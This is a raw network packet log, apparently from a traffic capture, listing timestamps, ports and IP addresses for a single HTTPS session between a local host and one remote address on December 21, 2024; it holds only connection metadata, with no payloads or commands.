Dec 21, 2024 19:24:52.361247063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361260891 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.361267090 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.361272097 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.361275911 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.361283064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361283064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361288071 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.361291885 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.361370087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361382008 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.361391068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361391068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361397028 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.361505032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361505032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361556053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361563921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361567020 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.361613989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361613989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361613989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361613989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361711025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361711025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361715078 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.361828089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361828089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361836910 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.361876965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361924887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361924887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361924887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361974001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.361974001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362071991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362071991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362103939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.362169981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362169981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362220049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362220049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362229109 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.362267971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362267971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362317085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362416029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362416029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362416029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362514019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362514019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362561941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362561941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362612009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362612009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362659931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362673998 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.362757921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362757921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362765074 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.362857103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362857103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362905025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362905025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.362953901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363003016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363003016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363051891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363051891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363101006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363198996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363198996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363248110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363256931 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.363296986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363296986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363296986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363301992 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.363347054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363445044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363445044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363445044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363543034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363543034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363591909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363591909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363640070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363642931 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.363689899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363689899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363738060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363786936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363836050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363886118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363886118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363893032 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.363934994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363982916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363982916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.363982916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364032984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364130020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364130020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364130020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364229918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364229918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364278078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364278078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364326000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364375114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364375114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364378929 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.364473104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364473104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364522934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364522934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364522934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364571095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364620924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364620924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364669085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364669085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364717960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364816904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364816904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364816904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364866018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364866018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364866018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364913940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364953995 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.364964008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364964008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.364964008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365011930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365061045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365159035 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365159035 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365257025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365257025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365257025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365305901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365305901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365355968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365355968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365367889 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.365453005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365453005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365502119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365550995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365550995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365600109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365649939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365649939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365699053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365699053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365796089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365796089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365895033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365895033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365943909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365943909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365992069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.365992069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366040945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366138935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366138935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366138935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366144896 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.366236925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366238117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366286039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366286039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366334915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366432905 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366482019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366482019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366530895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366530895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366580009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366628885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366677999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366677999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366727114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366727114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366775990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366775990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366874933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366874933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366971970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.366971970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367022038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367022038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367070913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367070913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367119074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367218971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367218971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367219925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367315054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367315054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367367029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367413044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367413044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367413044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367464066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.367513895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.578315020 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.578598976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.675630093 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.675676107 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.675697088 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.675719023 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.675731897 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.675832987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.675872087 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.675893068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.675918102 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.676023006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676078081 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.676100016 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.676117897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676119089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676119089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676119089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676178932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676178932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676178932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676224947 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.676229000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676306009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676306009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676352978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676451921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676451921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676501036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676501036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676561117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676561117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676666021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676666021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676672935 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.676681042 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.676763058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676763058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676814079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676814079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676814079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676860094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676912069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676912069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676912069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676912069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676996946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.676996946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677042007 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677064896 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.677098036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677203894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677203894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677251101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677299023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677349091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677349091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677447081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677448034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677495003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677495003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677545071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677545071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677592993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677695990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677695990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677695990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677793026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677793026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677838087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.677886963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.678009033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.678088903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.678095102 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.678101063 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.678226948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.678334951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.678464890 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.678595066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.678725958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.678869963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.678931952 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.678939104 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.678986073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679141998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679208994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679208994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679255009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679303885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679353952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679353952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679452896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679452896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679549932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679549932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679600000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679600000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679632902 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.679644108 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.679647923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679647923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679696083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679745913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679745913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679795027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679846048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679846048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679893970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679992914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.679992914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680039883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680088997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680088997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680097103 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.680192947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680192947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680242062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680275917 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.680315971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680315971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680315971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680315971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680361032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680459976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680460930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680557966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680557966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680607080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680608034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680655003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680764914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680764914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680793047 CET	443	49766	172.67.184.254	192.168.11.20
